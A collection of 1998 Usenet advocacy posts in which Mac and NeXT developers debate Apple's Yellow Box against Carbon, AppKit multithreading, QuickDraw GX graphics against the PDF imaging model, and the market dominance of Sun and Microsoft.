In <forrestDELETE-THIS!-0209981700420001@term4-23.vta.west.net> Forrest
ranesi wrote:
> You sure? I'm not a developer myself (I just play one on UseNet :] ), but
> I could swear that I heard somewhere that Apple could port Carbon to
> another platform as easily as they could YB
Perhaps, but I don't think it's the same thing. Basically there's more
an an issue of just the API's being supported, that's actually pretty easy.
The problem is data formats and such, ask an intel box to save out a bunch
of numbers and you end up with a file that's quite different than what a PPC
box would produce. YB takes all of these issues into account.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Content-Type: text/plain; charset=us-ascii
Message-ID: <Eys0Cz.9DC@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: none
References: <EyrsDM.Hsp@T-FCN.Net> <B2158A70-C061C@206.165.43.164>
Mime-Version: 1.0
Date: Fri, 4 Sep 1998 20:17:22 GMT
In <B2158A70-C061C@206.165.43.164> "Lawson English" wrote:
> Maybe so, but it is the *perception* that is important, no?
As always, but maybe that's the problem. There is no technical issue here,
people CAN move over to the new system very easily, and the power of the new
system makes up for any issue involving the neglect it saw over the last few
years (it looks old, and needs spucing up).
But this is not what I see, I see open hostility and outright dismissal.
Any attempts to say "you'll like this, trust us" are met with utter
disbelief. This is a far cry from the _same_ developers only a couple of
years ago who would jump onto every new soon-to-be-neglected technology with
wild adbandon.
You might chalk this up to "twice burned" but this is clearly much more
than that. For instance when Carbon was released all the Mac developers ran
to it as the second coming - you even used it as more anti-YB FUD - but of
course it's much more unreal than YB ever was and just as many reason to
believe it wouldn't appear (no, more) than YB.
> No-one is stopping you from using the Yellow Box.
Good, because now that I've used it I wouldn't even consider going back.
> 2) there are important features in GX that deserve to be brought into
> Carbon and the Yellow Box that are simply not supported directly by the PDF
> model, such as overlapping non-opaque (not just transparent) objects,
> especially bitmaps
Maybe I'm missing something, but what's the difference between non-opaque
and transparent?
> applied (this appears to be a BIG selling point of Adobe's new K2 app, so
> apparently even Adobe appears to believe that the PDF model is too
> limiting).
Hardly evidence of that, it's based on their unified PDF imaging engine.
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 4 Sep 1998 20:26:53 GMT
Organization: Primenet (602)416-7000
Message-ID: <6spied$bkj$1@nnrp02.primenet.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu>
<slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <slrn6v0ci7.5l3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
mbkennel yahoo.com <replacethiswith'@'> wrote:
: They are? I don't see any evidence of that. Does Javasoft make money for
: Sun? Does it even pay its own bills? (And who would buy from Javasoft/
: Sunsoft without SMCC's hardware revenues supporting Sun?)
I think the interesting thing is that Java helped keep Sun at the center
of the internet. If they stopped now, without making money on Java per
say, they would still be ahead. Java made Sun a creator of standards and
a force to be reconned with in the '90s, and not just a has-been
workstation company.
Stop and look for a moment at how Sun used the nature of the internet:
- look, motion in a browser!
- look, a free download!
- look, everybody is doing it!
- look, even MS recognizes its power!
and compare that to Apple's use of the internet:
- sorry, its NDA and we can't talk about it.
John
From: "Brian Quinlan" <quinlan@intergate.bc.ca>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <B1F737B2-78293@206.165.43.141> <brian_hall-1308981858030001@22.markspace.com> <B1F8F3E2-30CE8@206.165.43.169> <nagleExo0yE.H1H@netcom.com> <1de0ddo.kg5qnj1ibzwr1N@roxboro0-031.dyn.interpath.net> <6rfaqa$aqg$1@nnrp1.dejanews.com> <1de2naw.1k0bg7i14dfdxlN@roxboro0-018.dyn.interpath.net> <6ricof$rpt$1@lwnws01.ne.highway1.com> <B2021373-186F9@206.165.43.14> <6rj2q7$cqc$1@nnrp1.dejanews.com> <B2026BDE-1FDB3@206.165.43.101> <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <1deraeu.1v5e00i17gft7dN@roxboro0-046.dyn.interpath.net> <christian.bau-0309981203510001@christian-mac.isltd.insignia.com> <35ef8d3f.0@carrera> <1detqbi.pz6yn07bvo30N@roxboro0-021.dyn.interpath.net>
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 4 Sep 1998 13:31:19 -0700
Message-ID: <35f04cf7.0@carrera>
In article <1detqbi.pz6yn07bvo30N@roxboro0-021.dyn.interpath.net>,
phenix@interpath.com (John Moreno) wrote:
> I beg to differ - neither of my suggestions require that the app process
> a event before the menu selection is returned (although there is a
> question as to what to do if they make more than one selection before
> the app processes the first).
It requires that the application process an event before the menu can be
shown. So it does not solve the problem of the menu being inaccessable while
the application is busy.
> Could you change that to a correct sigdash? Programs which use the
> sigdash do so by looking for \n-- \n leaving off the space keeps them
> from using it.
I think that I did.
--
Brian Quinlan
quinlan@intergate.bc.ca
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 4 Sep 1998 20:37:36 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6spj2g$6qj$1@news.mxol.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <Eyrv0s.FJ@T-FCN.Net> <6spe12$1m0$1@news.spacelab.net> <Eyrzzr.94x@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>In <6spe12$1m0$1@news.spacelab.net> "Charles W. Swiger" wrote:
>> Good implementation and design can reduce the overhead costs of
>> multithreading, but this cost cannot be eliminated entirely.
>
> It depends. Solaris claims that the use of threads as interrupt handlers
>for instance, which would seem terribly expensive at fitst glance, pays
>itself back on multi-CPU's [ ... ]
I was talking about the situation where there is only one CPU present.
Multiple CPU's change the picture quite a bit....
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 04 Sep 1998 20:25:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6spibk$o2m$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net>
In article <6sp5su$pgv$1@news.spacelab.net>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> There is a performance hit when multithreading is enabled which can
> be significant because of mutex overhead. Multithreading also increases
> the processes' resource utilization (seperate stacks per thread, et al).
In the BeOS, you can open a few hundred windows (creating a window creates two
threads) and performance doesn't seem to suffer very much. I also believe that
system speed is increasing faster than the number of windows the typical user
wants open. Also, how much stack does the average thread use? I'd say, in a
typcial YB application, it would be under 32K. And remember that the stack of
a thread belonging to an idle window (most of them would probably be idle) can
be paged out.
> There should be a single way of writing event management code that works
> for both threaded and non-threaded applications. And it is not the case
> that user experience is always better in multithreaded applications-- it
> depends on the specific app in question.
But the multithreaded way should be as easy or easier to develop than the
single threaded way. Otherwise, application designers are going to choose the
simpler path. And when do multithreaded applications result in an inferior
user experience?
> Where else would reentrancy matter more than in the Appkit, which is the
> most relevant framework for dealing with event management code, windows,
> views, scrolling, et al? Writing a multithreaded YB app using the Appkit
> is much easier if the Appkit is thread-safe.
Sorry, I thought that you were saying that Apple was going to do more to than
make the Appkit reentrant.
> The Appkit should not enforce a design decision like multithreading.
> The Appkit should support both single- and multithreaded apps as far
> as possible, not favor one paradigm over the other.
OK, but right now you would need to do some extra work to make a multithreaded
application even if every aspect of the YB was reentrant. Apple could make it
easier.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: see.sig@for.address (Paul Lucente)
Subject: Re: Mac users desperate for something better
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Organization: Vandalay Industries
Message-ID: <35f04e04.1961530@news2.new-york.net>
References: <gmgraves-0309981020490001@sf-pm5-24-88.dialup.slip.net> <slrn6utkig.8ba.jason@jhste1.dyn.ml.org> <gmgraves-0309981849180001@sf-usr1-47-175.dialup.slip.net> <slrn6uuin4.6q8.jason@jhste1.dyn.ml.org> <mteh-ya02408000R0309982143290001@news.earthlink.net> <macghod-0309982133340001@1cust247.tnt1.santa-barbara.ca.da.uu.net> <6soem6$8a3$1@nnrp1.dejanews.com> <paul_lucente-ya02408000R0409980938140001@merck.com> <joe.ragosta-0409981347120001@wil89.dol.net>
Mime-Version: 1.0
Date: Fri, 4 Sep 1998 20:32:35 GMT
joe.ragosta@dol.net (Joe Ragosta) wrote:
>In article <paul_lucente-ya02408000R0409980938140001@merck.com>,
>paul_lucente@merck.com (Paul Lucente) wrote:
>
>>But I've heard a lot of people make the claim that they can force quit an
>>app and continue working problem free. What am I doing wrong? Is there a
>>special trick to it other than hitting option-command-esc?
>
>Which version of Mac OS? This feature was quirky on 7.x, but works pretty
>well on 8.1 or later.
Mostly 7.6.1 and 7.5.5. Haven't played much with 8.x (our company
moves slow with system upgrades), glad to hear this has improved.
Paul
"a noble spirit embiggens the smallest man..."
p l @ b e t
u c t e l a . n
e n s t
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu>
<1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu>
<vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net>
<_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com> <rmcassid-3108980020470001@dialin9062.slip.uci.edu>
<640H1.2918$MS.7205576@news.rdc1.sdca.home.com> <rmcassid-0209981548340001@hephaestus.eng.uci.edu>
<_KpH1.3257$MS.7958045@news.rdc1.sdca.home.com> <rmcassid-0309980900260001@hephaestus.eng.uci.edu>
<4cFH1.3290$MS.8381438@news.rdc1.sdca.home.com> <rmcassid-0409980950420001@hephaestus.eng.uci.edu>
Message-ID: <KxYH1.3531$MS.8923501@news.rdc1.sdca.home.com>
Date: Fri, 04 Sep 1998 21:00:26 GMT
NNTP-Posting-Date: Fri, 04 Sep 1998 14:00:26 PDT
Organization: @Home Network
In <rmcassid-0409980950420001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <4cFH1.3290$MS.8381438@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >We've come full circle, now. Exposed is the myth that industry wants
Open
> >Soutions. Revealed is the reality that its the Platform Stupid. To wit:
> >Microsoft continues to dominate irregardless...
> >
> >Excellent points which flush this thread to its conclusion... what does
> >at mean? Microsoft Windows is "natural law" in the universe of desktop
> >tems. Unless you've got an argument for maintaining a Mac publishing
system
> > AND a Windows office computer.
>
> Very valid point.
>
> Upsetting MS will require something significant and measurable by Apple.
> Catastrophic blunders on the parts of Intel and MS would help immensely.
> :-)
>
>
This stuff is as entrenched as the telephone. In the early 90's I remember
the Bell companies (I think) analysis that unless a new technology is _at
least_ a 10X improvement over existing products, there is no effect upon
marketshare.
I am a die-hard NeXT advocate. I am using Windows. I like it... It has
software I can use. My digital camera downloads to Windows. My PDA
downloads to Windows. My databases synchonize with Windows. Windows
travels easily with the suite of apps out there. I can send my daughter to
College on Windows. She can get a job after with Windows. This shitty OS
works with all kinds of gadgets that are important in our lives. Almost
anything we want or need to exchange with the real world, the Windows
machine will work. I hate the process... I don't like Windows but I like
those other gadgets and tools...
The NeXT is a server machine and development environment. The Mac? I won't
even go there since I gave up on Mac's ~ 1988. I haven't seen anything to
bring me back to the OS. I have seen no strategy from Apple to change this
situation other than recent 1984 feel good advertising - chest thumping
about performance.
Apple buying Adobe? I don't know if they have the leadership on the
corporate level to see the Third Party Vendor playing field. They are still
building "ballparks", metaphorically...
-r
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe buyout - opinion)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com> <rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu> <rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com> <rmcassid-2808982317070001@hephaestus.eng.uci.edu>
<1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com> <rmcassid-2908982059360001@dialin9116.slip.uci.edu>
<vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com> <forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net>
<_JfG1.2729$MS.5651479@news.rdc1.sdca.home.com> <rmcassid-3108980020470001@dialin9062.slip.uci.edu>
<640H1.2918$MS.7205576@news.rdc1.sdca.home.com> <rmcassid-0209981548340001@hephaestus.eng.uci.edu>
<_KpH1.3257$MS.7958045@news.rdc1.sdca.home.com> <rmcassid-0309980900260001@hephaestus.eng.uci.edu>
<4cFH1.3290$MS.8381438@news.rdc1.sdca.home.com> <rmcassid-0409980950420001@hephaestus.eng.uci.edu>
Message-ID: <MzYH1.3533$MS.8922362@news.rdc1.sdca.home.com>
Date: Fri, 04 Sep 1998 21:02:36 GMT
NNTP-Posting-Date: Fri, 04 Sep 1998 14:02:36 PDT
Organization: @Home Network
In <rmcassid-0409980950420001@hephaestus.eng.uci.edu> Robert Cassidy wrote:
> In article <4cFH1.3290$MS.8381438@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com (Rex Riley) wrote:
>
> >We've come full circle, now. Exposed is the myth that industry wants
Open
> >Soutions. Revealed is the reality that its the Platform Stupid. To wit:
> >Microsoft continues to dominate irregardless...
> >
> >Excellent points which flush this thread to its conclusion... what does
> >at mean? Microsoft Windows is "natural law" in the universe of desktop
> >tems. Unless you've got an argument for maintaining a Mac publishing
system
> > AND a Windows office computer.
>
> Very valid point.
>
> Upsetting MS will require something significant and measurable by Apple.
> Catastrophic blunders on the parts of Intel and MS would help immensely.
> :-)
>
>
This stuff is as entrenched as the telephone. In the early 90's I remember
the Bell companies (I think) analysis that unless a new technology is _at
least_ a 10X improvement over existing products, there is no effect upon
marketshare.
I am a die-hard NeXT advocate. I am using Windows. I like it... It has
software I can use. My digital camera downloads to Windows. My PDA
downloads to Windows. My databases synchonize with Windows. Windows
travels easily with the suite of apps out there. I can send my daughter to
College on Windows. She can get a job after with Windows. This shitty OS
works with all kinds of gadgets that are important in our lives. Almost
anything we want or need to exchange with the real world, the Windows
machine will work. I hate the process... I don't like Windows but I like
those other gadgets and tools...
The NeXT is a server machine and development environment. The Mac? I won't
even go there since I gave up on Mac's ~ 1988. I haven't seen anything to
bring me back to the OS. I have seen no strategy from Apple to change this
situation other than recent 1984 feel good advertising - chest thumping
about performance.
Apple buying Adobe? I don't know if they have the leadership on the
corporate level to see the Third Party Vendor playing field. They are still
building "ballparks", metaphorically...
-r
Date: Fri, 04 Sep 1998 13:26:57 +0100
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Message-ID: <christian.bau-0409981326570001@christian-mac.isltd.insignia.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6soefj$laf$1@heliodor.xara.net>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <6soefj$laf$1@heliodor.xara.net>, "Gareth Paxton"
<gordonpa@globalnet.co.uk> wrote:
> >So what happened: A not very experienced computer user got himself into a
> >situation where he couldnt use his computer properly anymore (as I figured
> >out later, by clicking into the start menu bar at the wrong point and
> >moving the mouse to the wrong point). I call this a bug.
>
> Its called flexibility and gives you the freedom to customise the way your
> desktop looks.
>
> Gareth,
>
> PS Stop playing dumb.......
No Macintosh user ever claimed that using Windows brainwashes the user...
But I wouldnt claim it doesnt! The user I was talking about couldnt use
his computer properly for two weeks because of what you call flexibility
and freedom to customise. That is not a feature, that is a bug.
On the other hand, some people say that Windows has no bugs, but the
features alone are annoying enough :-)
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 04 Sep 1998 16:50:14 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F06096.E36EF139@ericsson.com>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu>
<slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <slrn6v0ci7.5l3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6spied$bkj$1@nnrp02.primenet.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
John Jensen wrote:
[cut]
> Stop and look for a moment at how Sun used the nature of the internet:
>
> - look, motion in a browser!
> - look, a free download!
> - look, everybody is doing it!
> - look, even MS recognizes its power!
And, on a different level,
- look, you can write these, too!
- look, it works on your computer!
- look, the devtools are free, too!
- "We're committed to this API"
> and compare that to Apple's use of the internet:
>
> - sorry, its NDA and we can't talk about it.
Equivalently,
- join our program, pay your fee
- watch for quarterly direction changes
- it's all someone else's fault
MJP
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 4 Sep 98 16:09:51 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B215C16A-18F0EB@206.165.43.164>
References: <Eys0Cz.9DC@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B2158A70-C061C@206.165.43.164> "Lawson English" wrote:
>> Maybe so, but it is the *perception* that is important, no?
>
> As always, but maybe that's the problem. There is no technical issue
here,
>people CAN move over to the new system very easily, and the power of the
>new system makes up for any issue involving the neglect it saw over the
last
>few years (it looks old, and needs spucing up).
How easily is "very easily?" The claims are that Carbonizing an existing
app takes a few weeks to months. How long to redo the same app and fit it
into the Yellow Box? I know from personal experience that it isn't easy to
go from the Think Class Libraries to PowerPlant. What makes the
TCL/MacApp/PP/Raw-Toolbox => Yellow Box transition easier than
TCL/MacApp/PP/Raw-Toolbox => Carbon?
>
> But this is not what I see, I see open hostility and outright dismissal.
>Any attempts to say "you'll like this, trust us" are met with utter
>disbelief. This is a far cry from the _same_ developers only a couple of
>years ago who would jump onto every new soon-to-be-neglected technology
>with wild adbandon.
>
> You might chalk this up to "twice burned" but this is clearly much more
>than that. For instance when Carbon was released all the Mac developers
>ran to it as the second coming - you even used it as more anti-YB FUD -
but
>of course it's much more unreal than YB ever was and just as many reason
to
>believe it wouldn't appear (no, more) than YB.
But it *sounds* better, if nothing else. One need not re-implement the
entire structure of one's application on top of a different framework. I
challenge you to show me how it is easier to rewrite an app into a
different framework than it is to keep the same framework and rewrite a few
critical pieces.
Anyone who uses PowerPlant can assume that Metrowerks will do most/all the
hard work behind the scenes for them. It is plausible that there is a
MacApp team working on Carbonizing that framework, even though it is now
officially non-supported. If not, it should STILL be easier to add a few
conditional compiler directives to the guts of your own copy of MacApp (or
TCL) than to port your app over to YB.
Or such is my intuition, and the intuition of a LOT of developers, I'll
bet.
>
>> No-one is stopping you from using the Yellow Box.
>
> Good, because now that I've used it I wouldn't even consider going back.
>
>> 2) there are important features in GX that deserve to be brought into
>> Carbon and the Yellow Box that are simply not supported directly by the
>PDF
>> model, such as overlapping non-opaque (not just transparent) objects,
>> especially bitmaps
>
> Maybe I'm missing something, but what's the difference between non-
>opaque
>and transparent?
The model that PS supports (and PDF also, I'm pretty certain) is that of
opaque inks getting put on top of each other. Any imaging model that does
something different won't work directly with the PDS/PS model without some
kind of tweaking ala the intersecting overlapping thing of GX printing or
the bitmap solution that GX uses in MacOS 8.
NeXT's DPS defines alpha-channel operations. GX defines alpha channel
operations but also operations independent of the alpha channel that still
take the underlying image into account, such as
and/or/xor/arithmetic-add/etc. It may be that most/all of these can be
derived from the alpha-channel operations that already exist with enhanced
QuickDraw/PDF/YB, but I understand that one can't do bitmap-level transfer
modes ala GX's capabilities in a single pass -certainly not using the 3 5x4
color-space transform matrices of GX. These are described in the QuickTime
3.0 Vector Graphics chapters as well as the chapter on Ink objects in the
GX Objects manual (not surprising since the QuickTime manual is quoting
directly from the relevant GX chapters).
>
>> applied (this appears to be a BIG selling point of Adobe's new K2 app,
so
>> apparently even Adobe appears to believe that the PDF model is too
>> limiting).
>
> Hardly evidence of that, it's based on their unified PDF imaging engine.
>
Hmmm... The description is ambiguous. What do YOU make of the following?
"Among a purported 1,300 features, K2 sports the ability to shift fonts so
they appear to have depth on a page."
If this means 3D extrusion, it isn't anything amazing, IMHO, and isn't very
useful for most people from what DTP folks have said to me. If it means
that you can apply perspective to text, as both Freehand and Illustrator
now allow, this is a capability that goes beyond the PDF model.
GX's 3x3 transform allows one to do this AND to automatically edit the
resulting text using the usual API, which neither Freehand nor Illustrator
allow. This is because all of GX's text-handling/graphics-drawing API uses
the same 3x3 matrix. Any attempt to add this capability (assuming that 3D
perspective is what they are talking about and not extrusion) requires one
to apply a transform AFTER the text has been entered and text-handling
routines based on PDF's transform can't handle the resulting distorted text
and individual programmers need to "roll their own" text-editing routines
if they need to edit said text.
That would be almost as hard as developing the GX text-selection routines
in the first place, and *I* certainly am not up to it -certainly not for
Chinese and Korean and Hebrew and Arabic and etc...
On the other hand, since it is built into the GX API, my $10 HyperCard
interface to GX should handle it just fine.
And graphics artists prefer to edit objects in-place, so that they can see
what something will look like, as it is happening. Illustrator doesn't
allow this. Freehand doesn't either. GX does.
Of course, Dennis' remark was cryptic and perhaps it really is 3D extrusion
that is being described. That's kinda a silly text-feature to add to a
PageMaker-like app, but who knows?
The upshot is that my $10 utility for HyperCard will provide capabilities
that no PDF-based graphics app can do without LOTS of extra work AND it
will allow exporting to EPS files using the new GX printing library.
In other words, in certain important ways, the graphics engine of the
next-generation OS from Apple is crippled compared to the current engine
that was originally promised to be the engine of Copland.
There's no reason on earth why enhanced QuickDraw can't have a 3x3 matrix
instead of a 3x2 matrix. If time is a consideration, they can do what they
did with QUickTime and implement a 3x3 matrix and point out that
perspective isn't yet working in version 1.0. If they leave out the 3x3
matrix, you simply CANNOT add it later and expect existing apps to work
with it.
I consider that to be an evil course of action: deliberately crippling the
OS compared to what already exists.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Date: Fri, 04 Sep 1998 16:27:28 -0700
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Message-ID: <stevehix-0409981627430001@192.168.1.10>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s2nle$ek62@odie.mcleod.net> <6s4b24$4ht$1@inconnu.isu.edu> <6s5jh3$r0a$1@msunews.cl.msu.edu> <slrn6utnk4.a5.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35EEFBD2.24124D00@ericsson.com> <6sn26q$i33@news1.panix.com> <35F0113F.E73D5D21@ericsson.com> <slrn6v0ci7.5l3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6spied$bkj$1@nnrp02.primenet.com>
Organization: Close to None
In article <6spied$bkj$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> I think the interesting thing is that Java helped keep Sun at the center
> of the internet. If they stopped now, without making money on Java per
> say, they would still be ahead. Java made Sun a creator of standards and
> a force to be reconned with in the '90s, and not just a has-been
> workstation company.
"Just..."?
If it is, everyone else in that region is in worse shape....
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Fri, 04 Sep 1998 23:26:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6spsuq$6t0$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <EyqADA.654@T-FCN.Net> <6so6h0$t7o$1@nnrp1.dejanews.com> <Eyrrwt.GMG@T-FCN.Net>
In article <Eyrrwt.GMG@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Sure, but the problem is it's still blocking when you're _not_ moving it.
Good point. Still, I think that I probably spend more time in the menu system
not doing anything requiring application intervention than I do while clicking
on a scroller.
> I mentioned earlier that the current MacOS behaviour could be greatly
> improved with some not-terribly-difficult code changes to the menu handler.
> While your app would be blocked, the improvement in the performance of the
> machine as a whole would get better - as you rightly pointed out this is of
> lesser concern under Carbon.
But I don't really care if Mac OS X is better than Mac OS 8.x or not. I want
it to be as good or better than OpenStep.
